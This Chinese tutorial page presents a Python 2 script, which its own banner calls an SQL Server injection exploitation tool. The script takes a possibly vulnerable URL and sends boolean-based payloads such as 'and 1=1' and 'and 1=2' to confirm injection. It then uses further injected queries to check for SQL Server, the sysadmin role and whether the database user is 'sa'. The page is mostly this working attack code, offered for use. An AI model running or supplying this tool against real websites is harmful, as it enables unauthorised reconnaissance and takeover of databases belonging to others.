Python編寫(xiě)檢測(cè)數(shù)據(jù)庫(kù)SA用戶的方法
更新時(shí)間:2014年07月11日 10:45:55 投稿:shichen2014
這篇文章主要介紹了Python編寫(xiě)檢測(cè)數(shù)據(jù)庫(kù)SA用戶的方法,需要的朋友可以參考下
本文講述一個(gè)用Python寫(xiě)的小程序,用于有注入點(diǎn)的鏈接,以檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶是否為sa,詳細(xì)代碼如下:
# Code by zhaoxiaobu Email: little.bu@hotmail.com #-*- coding: UTF-8 -*- from sys import exit from urllib import urlopen from string import join,strip from re import search def is_sqlable(): sql1="%20and%201=2" sql2="%20and%201=1" urlfile1=urlopen(url+sql1) urlfile2=urlopen(url+sql2) htmlcodes1=urlfile1.read() htmlcodes2=urlfile2.read() if not search(judge,htmlcodes1) and search(judge,htmlcodes2): print "[信息]恭喜!這個(gè)URL是有注入漏洞的!n" print "[信息]現(xiàn)在判斷數(shù)據(jù)庫(kù)是否是SQL Server,請(qǐng)耐心等候....." is_SQLServer() else: print "[錯(cuò)誤]你確定這個(gè)URL能用?換個(gè)別的試試吧!n" def is_SQLServer(): sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" urlfile=urlopen(url+sql) htmlcodes=urlfile.read() if not search(judge,htmlcodes): print "[錯(cuò)誤]數(shù)據(jù)庫(kù)好像不是SQL Server的!n" else: print "[信息]確認(rèn)是SQL Server數(shù)據(jù)庫(kù)!n" print "[信息]開(kāi)始檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶權(quán)限,請(qǐng)耐心等待......" is_sysadmin() def is_sysadmin(): sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不具有sysadmin權(quán)限!n" else: print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶具有sysadmin權(quán)限!n" print "[信息]檢測(cè)當(dāng)前用戶是不是SA,請(qǐng)耐心等待......" is_sa() def is_sa(): sql = "%20and%20'sa'=(select%20System_user)"; urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不是SA!n" else: print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶是SA!n" print "n########################################################################n" print " ^o^SQL Server注入利用工具^(guò)o^ " print " Email: little.bu@hotmail.comn" print "========================================================================"; url = raw_input('[信息]請(qǐng)輸入一個(gè)可能有注入漏洞的鏈接!nURL:') if url == '': print "[錯(cuò)誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式" exit(1) judge = raw_input("[信息]請(qǐng)?zhí)峁┮粋€(gè)判斷字符串.n判斷字符串:") if judge == '': print "[錯(cuò)誤]判斷字符串不能為空!" exit(1) is_sqlable()
相關(guān)文章
Python利用PyPDF2庫(kù)處理PDF文件的基本操作
PyPDF2是一個(gè)Python庫(kù),用于處理PDF文件,包括合并、分割、旋轉(zhuǎn)和提取文本等操作,它是一個(gè)功能強(qiáng)大且靈活的工具,可用于自動(dòng)化處理PDF文件,適用于各種應(yīng)用,從文檔管理到數(shù)據(jù)分析,本文將深入介紹PyPDF2庫(kù),掌握如何利用它來(lái)處理PDF文件,需要的朋友可以參考下2023-11-11Python創(chuàng)建高強(qiáng)度密碼生成工具方法實(shí)例
這篇文章主要為大家介紹了Python創(chuàng)建高強(qiáng)度密碼生成工具方法實(shí)例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-12-12詳解python的argpare和click模塊小結(jié)
這篇文章主要介紹了詳解python的argpare和click模塊小結(jié),小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2019-03-03基于logstash實(shí)現(xiàn)日志文件同步elasticsearch
這篇文章主要介紹了基于logstash實(shí)現(xiàn)日志文件同步elasticsearch,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-08-08Win10下配置tensorflow-gpu的詳細(xì)教程(無(wú)VS2015/2017)
這篇文章主要介紹了Win10下配置tensorflow-gpu(無(wú)VS2015/2017),本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-07-07